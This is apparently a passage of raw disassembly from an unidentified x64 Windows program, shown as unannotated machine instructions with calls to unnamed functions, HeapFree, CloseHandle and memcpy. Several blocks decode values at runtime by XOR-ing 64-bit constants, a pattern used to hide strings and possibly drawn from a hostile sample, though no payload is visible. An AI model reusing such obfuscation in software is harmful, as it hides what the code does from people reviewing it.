movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x130], xmm3
movaps xmmword [rsp + 0x120], xmm2
movdqa xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
mov rcx, rsi
call fcn.14012eec0
mov rcx, r14
call fcn.1400054f2
mov r14, qword [rsp + 0x1c8]
mov rbp, qword [rsp + 0x188]
add rbx, 0x70
add r12, 0xffffffffffffff90
jne 0x140122084
mov rbx, qword [rsp + 0xf8]
mov qword [rsp + 0x198], rbx
sub rbp, r15
mov qword [rsp + 0x188], rbp
mov rax, rbp
shr rax, 4
movabs rcx, 0x2492492492492493
mul rcx
mov qword [rsp + 0x3c0], rdx
lea rsi, [rsp + 0x190]
mov rcx, rsi
call fcn.140111c5f
mov rcx, rsi
call fcn.140112917
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov rdx, qword [rsp + 0x1c0]
mov r8, qword [rsp + 0x270]
call fcn.140031440
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0xf0]
mov r8, rsi
call fcn.14012b184
mov al, byte [rsp + 0x30]
cmp al, 0x1a
lea r12, [rsp + 0x40]
jne 0x140123579
mov rcx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rbp, rax
shl rbp, 6
lea r15, [rsi + rbp]
mov qword [rsp + 0x478], rcx
mov qword [rsp + 0x340], rcx
mov qword [rsp + 0x348], rsi
mov qword [rsp + 0x350], r15
mov qword [rsp + 0x358], rsi
mov rbx, rsi
test rax, rax
mov qword [rsp + 0xf8], rsi
je 0x140122614
lea r13, [rsi + 0x40]
mov rbx, rsi
mov rax, qword [r13 - 0x28]
test rax, rax
je 0x14012260c
lea rcx, [r13 - 0x40]
mov rdx, qword [rcx + 0x10]
mov qword [r12 + 0x10], rdx
movups xmm0, xmmword [rcx]
movups xmmword [r12], xmm0
movdqu xmm0, xmmword [r13 - 0x20]
movdqu xmm1, xmmword [r13 - 0x10]
lea rcx, [rsp + 0x60]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x60], 0
je 0x14012254f
movups xmm0, xmmword [r12]
mov rax, qword [r12 + 0x10]
mov rcx, qword [r12 + 0x18]
movups xmm1, xmmword [r12 + 0x20]
movups xmm2, xmmword [r12 + 0x30]
movaps xmmword [rsp + 0x2b0], xmm2
movaps xmmword [rsp + 0x2a0], xmm1
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rcx
movaps xmmword [rsp + 0x280], xmm0
mov rsi, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x2a0]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x200], rdi
mov rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x208]
call fcn.140031440
movaps xmm0, xmmword [rsp + 0x280]
movups xmmword [rsp + 0x1e0], xmm0
lea rcx, [rsp + 0x100]
lea rsi, [rsp + 0x1e0]
mov rdx, rsi
xor r8d, r8d
call fcn.14000e9ef
cmp qword [rsp + 0x100], 0
je 0x14012255c
lea rax, [rsp + 0x108]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x210], xmm3
movaps xmmword [rsp + 0x200], xmm2
movdqa xmmword [rsp + 0x1f0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm0
mov rcx, rsi
call fcn.14012eec0
lea rcx, [rsp + 0x280]
call fcn.140005483
jmp 0x1401225f3
mov rcx, r12
call fcn.140005483
jmp 0x1401225fb
lea rcx, [rsp + 0x108]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x1a0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x190], xmm0
mov rsi, qword [rsp + 0x120]
lea rax, [rsp + 0x128]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1f0], xmm1
lea rcx, [rsp + 0x280]
call fcn.140005483
test rsi, rsi
je 0x1401225f3
mov rax, qword [rsp + 0x1a0]
mov qword [rbx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x18], rsi
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movdqu xmmword [rbx + 0x20], xmm0
movdqu xmmword [rbx + 0x30], xmm1
add rbx, 0x40
mov rsi, qword [rsp + 0xf8]
add r13, 0x40
add rbp, 0xffffffffffffffc0
jne 0x1401223cd
mov r13, r15
mov qword [rsp + 0x348], r13
sub rbx, rsi
mov qword [rsp + 0x418], rbx
shr rbx, 6
lea rsi, [rsp + 0x340]
mov rcx, rsi
call fcn.140111cfe
mov rcx, rsi
call fcn.1401127ac
lea rdi, [rsp + 0x100]
mov rcx, rdi
mov rdx, qword [rsp + 0x1c0]
mov r8, qword [rsp + 0x270]
call fcn.140031440
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0xf0]
mov r8, rdi
call fcn.14012be9a
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x1401235b8
mov qword [rsp + 0x438], rbx
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
lea r13, [rax + rax*2]
shl r13, 4
add r13, rbp
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], rbp
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x118], rbp
mov rsi, rbp
test rax, rax
je 0x140122776
lea rdi, [rbp + 0x30]
shl rax, 4
lea r15, [rax + rax*2]
mov rsi, rbp
mov rax, qword [rdi - 0x28]
test rax, rax
je 0x140122766
mov rcx, qword [rdi - 0x30]
movdqu xmm0, xmmword [rdi - 0x20]
movdqu xmm1, xmmword [rdi - 0x10]
lea rdx, [rsp + 0x40]
movdqu xmmword [rdx + 0x20], xmm1
movdqu xmmword [rdx + 0x10], xmm0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x50], 0
je 0x14012274d
cmp qword [rsp + 0x68], 0
je 0x14012274d
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x30
jmp 0x140122755
mov rcx, r12
call fcn.14009958a
add rdi, 0x30
add r15, 0xffffffffffffffd0
jne 0x1401226d9
mov rdi, r13
mov qword [rsp + 0x108], rdi
lea rdi, [rsp + 0x100]
sub rsi, rbp
mov rax, rsi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
shr rsi, 5
mov rcx, rdi
call fcn.140111cc1
mov qword [rsp + 0x310], rbx
mov qword [rsp + 0x318], rbp
mov qword [rsp + 0x320], rsi
mov rcx, rdi
call fcn.140112807
lea rax, [rsp + 0x310]
mov qword [rsp + 0x100], rax
lea rax, [0x140131958]
mov qword [rsp + 0x108], rax
lea rax, [0x140371928]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 1
lea rcx, [rsp + 0x30]
call fcn.140153c30
mov rbp, qword [rsp + 0x320]
test rbp, rbp
lea r15, [rsp + 0x30]
je 0x140122a19
mov rsi, qword [rsp + 0x318]
lea rdi, [rbp*2]
add rdi, rbp
shl rdi, 4
add rdi, rsi
mov rcx, rbp
call fcn.140029ebd
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], 0
cmp rax, rbp
mov r13, qword [rsp + 0x438]
jb 0x140123427
xor eax, eax
mov r14, qword [rsp + 0x1c0]
lea rbp, [rsp + 0x280]
mov rbx, qword [rsp + 0x418]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov rcx, rdi
mov rdx, rsi
lea r8, [rsp + 0x30]
call section..text
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x190]
lea r9, [0x14039fc78]
call fcn.1400a39c6
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
call fcn.140026fa9
cmp qword [rsp + 0x100], 0
je 0x140122917
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x340]
call fcn.140031440
mov rcx, rbp
mov rdx, r14
mov r8, qword [rsp + 0x270]
call fcn.140031440
mov r15, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x110]
mov rdx, r15
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], rsi
mov word [rsp + 0x178], 1
mov ecx, 0x10
lea rdi, [rsp + 0x30]
lea rsi, [rsp + 0x100]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xa9], 0
jne 0x14012941c
xor ebp, ebp
mov r14, qword [rsp + 0x1c8]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x40]
call fcn.14000b399
cmp qword [rsp + 0x1e0], 0
je 0x140122a40
mov rsi, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x30]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x30], rax
cmp byte [rsp + 0xa9], 0
mov rbp, rdi
je 0x1401229c5
mov rbp, rdi
jmp 0x140122a74
mov rsi, qword [rsp + 0x318]
xor edi, edi
mov rbp, qword [rsp + 0xf0]
mov r13, qword [rsp + 0x438]
mov rbx, qword [rsp + 0x418]
jmp 0x140123161
cmp byte [rsp + 0xa9], 0
jne 0x140122a6b
cmp byte [rsp + 0xa8], 0
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jne 0x1401233a1
cmp rax, rdi
jne 0x1401233a1
test rbp, rbp
je 0x14012941c
mov qword [rsp + 0x2f0], rbp
mov qword [rsp + 0x2f8], rsi
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x110], rax
lea rax, [0x140037710]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x30], 0
lea rax, [0x14036f0d0]
mov qword [rsp + 0x40], rax
mov ecx, 2
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
call fcn.140030660
cmp qword [rsp + 0x280], 0
je 0x140122b22
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rbp, [rsp + 0x1e0]
mov rcx, rbp
mov rdx, rsi
call fcn.140030a50
lea rax, [0x1403676d9]
mov qword [rsp + 0x30], rax
lea rdi, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc0807bb2d53b9d0b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009c03
mov rax, qword [rax]
movabs rcx, 0xeba9349a4990a102
xor rax, rcx
mov qword [rsp + 0x3d0], rax
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 8
lea rax, [rsp + 0x340]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x2f0]
mov qword [rsp + 0x110], rcx
lea rcx, [0x140037710]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rbp
mov qword [rsp + 0x128], rax
lea rax, [0x14036f108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
lea rax, [0x14036f080]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 5
lea rbp, [rsp + 0x100]
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], 3
lea rcx, [rsp + 0x280]
mov rdx, rdi
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x140122c70
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x140122c87
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
lea rsi, [rsp + 0x280]
je 0x140122cb1
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x100], xmm0
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x1e0], rbp
lea rax, [0x140006df0]
mov qword [rsp + 0x1e8], rax
lea rax, [0x140371928]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rcx, [rsp + 0x30]
call fcn.140153c30
cmp qword [rsp + 0x100], 0
je 0x140122d4a
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x340]
call fcn.140031440
mov rcx, rsi
mov rdx, qword [rsp + 0x1c0]
mov r8, qword [rsp + 0x270]
call fcn.140031440
mov r15, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x110]
mov rdx, r15
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], rsi
mov word [rsp + 0x178], 1
mov ecx, 0x10
lea rdi, [rsp + 0x30]
lea rsi, [rsp + 0x100]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xa9], 0
jne 0x14012942f
xor ebp, ebp
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x40]
call fcn.14000b399
cmp qword [rsp + 0x1e0], 0
je 0x140122e49
mov rsi, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x30]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x30], rax
cmp byte [rsp + 0xa9], 0
mov rbp, rdi
je 0x140122df5
mov rbp, rdi
jmp 0x140122e7d
cmp byte [rsp + 0xa9], 0
jne 0x140122e74
cmp byte [rsp + 0xa8], 0
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jne 0x1401233b1
cmp rax, rdi
jne 0x1401233b1
test rbp, rbp
je 0x14012942f
mov qword [rsp + 0x2f0], rbp
mov qword [rsp + 0x2f8], rsi
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x110], rax
lea rax, [0x140037710]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x30], 0
lea rax, [0x14036f0d0]
mov qword [rsp + 0x40], rax
mov ecx, 2
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
call fcn.140030660
cmp qword [rsp + 0x280], 0
je 0x140122f2b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rdi, [rsp + 0x1e0]
mov rcx, rdi
mov rdx, rsi
call fcn.140030a50
lea rax, [0x1403676ab]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x730b98c0817329de
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008c3b
mov rax, qword [rax]
movabs rcx, 0xe6f75db2fba479bb
xor rax, rcx
mov qword [rsp + 0x3d0], rax
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 8
lea rax, [rsp + 0x340]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x2f0]
mov qword [rsp + 0x110], rcx
lea rcx, [0x140037710]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rax
lea rax, [0x14036f108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
lea rax, [0x14036f080]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 5
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 3
lea rcx, [rsp + 0x280]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x140123079
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
lea r15, [rsp + 0x30]
je 0x140123095
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
je 0x1401230b7
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x280]
call fcn.14012d90c
mov rdi, rdx
test rax, rax
jne 0x14012948e
mov qword [rsp + 0x1e0], rdi
mov rsi, qword [rsp + 0x198]
mov r9, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x1e0]
mov r8, rsi
call fcn.140147a80
cmp qword [rsp + 0x30], 0
jne 0x1401294a2
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x190], 0
je 0x14012312f
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x318]
mov rdi, qword [rsp + 0x320]
mov rbp, qword [rsp + 0xf0]
mov rax, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
sub rax, rdx
cmp rax, rdi
jb 0x14012344e
mov rax, qword [rbp + 0xa0]
lea rcx, [rax + rax*2]
shl rcx, 4
add rcx, qword [rbp + 0x98]
mov rax, rdi
shl rax, 4
lea r8, [rax + rax*2]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsp + 0xf0]
add qword [rbp + 0xa0], rdi
mov qword [rsp + 0x320], 0
mov rax, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x58]
sub rax, rdx
mov rsi, qword [rsp + 0x428]
cmp rax, rsi
jb 0x1401233c1
mov rdi, qword [rsp + 0xf8]
lea rcx, [rdx + rdx*8]
shl rcx, 3
add rcx, qword [rbp + 0x50]
mov rdx, qword [rsp + 0x1d0]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsp + 0xf0]
add qword [rbp + 0x58], rsi
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x70]
sub rax, rdx
mov rsi, qword [rsp + 0x3c0]
cmp rax, rsi
jb 0x1401233e2
imul rcx, rdx, 0x70
add rcx, qword [rbp + 0x68]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x188]
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsp + 0xf0]
add qword [rbp + 0x70], rsi
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x88]
sub rax, rdx
cmp rax, r13
jb 0x140123403
mov r14, qword [rsp + 0x1d8]
shl rdx, 6
add rdx, qword [rbp + 0x80]
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add qword [rbp + 0x88], r13
mov rax, qword [rsp + 0x320]
test rax, rax
je 0x1401232a4
mov rcx, qword [rsp + 0x318]
shl rax, 4
lea rsi, [rax + rax*2]
lea rdi, [rcx + 0x30]
call fcn.14009958a
mov rcx, rdi
add rsi, 0xffffffffffffffd0
jne 0x140123292
cmp qword [rsp + 0x310], 0
mov rsi, qword [rsp + 0x1c0]
je 0x1401232ce
mov r8, qword [rsp + 0x318]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xf8]
mov rcx, rdi
xor edx, edx
call fcn.140131d03
cmp qword [rsp + 0x478], 0
je 0x1401232fd
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x268]
mov rcx, rdi
xor edx, edx
call fcn.140131c72
cmp qword [rsp + 0x420], 0
je 0x14012332c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x1d0]
mov rcx, rdi
xor edx, edx
call fcn.140131a5f
cmp qword [rsp + 0x410], 0
je 0x14012335b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x338], 0
je 0x140123378
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x3c8]
mov rcx, rdx
mov rax, qword [rsp + 0x470]
cmp rdx, rax
mov rsi, qword [rsp + 0xf0]
jne 0x140121c4b
jmp 0x1401236f9
sub rax, rdi
add rdi, qword [rsp + 0x40]
mov rsi, rax
jmp 0x140122a14
sub rax, rdi
add rdi, qword [rsp + 0x40]
mov rsi, rax
jmp 0x140122e44
mov rcx, qword [rsp + 0x488]
mov r8, rsi
call fcn.1402a58e7
mov rbp, qword [rsp + 0xf0]
mov rdx, qword [rbp + 0x58]
jmp 0x1401231c1
mov rcx, qword [rsp + 0x480]
mov r8, rsi
call fcn.1402a5820
mov rbp, qword [rsp + 0xf0]
mov rdx, qword [rbp + 0x70]
jmp 0x14012320d
mov rcx, qword [rsp + 0x4f0]
mov r8, r13
call fcn.1402a5a8c
mov rbp, qword [rsp + 0xf0]
mov rdx, qword [rbp + 0x88]
jmp 0x14012324d
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8, rbp
call fcn.1402aa742
mov rdx, qword [rsp + 0x108]
mov rax, qword [rsp + 0x110]
jmp 0x140122874
mov rcx, qword [rsp + 0x4e8]
mov r8, rdi
call fcn.1402a59ba
mov rbp, qword [rsp + 0xf0]
jmp 0x140123161
test rcx, rcx
je 0x140123482
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x3b8]
mov byte [rax], 0x19
jmp 0x14011ba1c
movups xmm0, xmmword [rsp + 0x31]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x10f], xmm1
movaps xmmword [rsp + 0x100], xmm0
mov rcx, qword [rsp + 0x3b8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmm0, xmmword [rsp + 0x10f]
movups xmmword [rcx + 0x10], xmm0
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rcx + 1], xmm0
mov byte [rcx], al
mov rsi, qword [rsp + 0x3c0]
jmp 0x140128ee3
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
jmp 0x140123697
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
mov r14, qword [rsp + 0x1d8]
jmp 0x140123662
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
jmp 0x14012362d
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
mov rsi, qword [rsp + 0xf8]
mov rcx, rsi
mov rdx, rbx
call fcn.140131d03
cmp qword [rsp + 0x478], 0
mov r15, qword [rsp + 0x268]
je 0x14012362d
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r15
mov rdx, qword [rsp + 0x3c0]
call fcn.140131c72
cmp qword [rsp + 0x420], 0
mov r14, qword [rsp + 0x1d8]
je 0x140123662
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x1d0]
mov rcx, rsi
mov rdx, qword [rsp + 0x428]
call fcn.140131a5f
cmp qword [rsp + 0x410], 0
je 0x140123697
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x338], 0
mov r8, qword [rsp + 0x1c0]
je 0x1401236b9
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x470]
mov rbp, qword [rsp + 0x3c8]
sub rax, rbp
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov rcx, rbp
call fcn.140026fa9
cmp qword [rsp + 0x460], 0
jne 0x140128eec
jmp 0x14011ba1c
mov rbx, rax
lea r12, [rsp + 0x3f8]
sub rax, rbx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov rcx, rbx
call fcn.140026fa9
cmp qword [rsp + 0x460], 0
je 0x140123742
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x468]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [0x140166c50]
call fcn.1401835e9
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rdx
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x190], xmm6
mov qword [rsp + 0x1a0], 0
lea rax, [0x140378b90]
mov qword [rsp + 0x1a8], rax
lea rax, [0x14036621d]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xee95b75aaacf3876
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008713
movdqa xmmword [rsp + 0x340], xmm6
mov r9b, 1
xor edx, edx
lea r10, [0x14036f4e0]
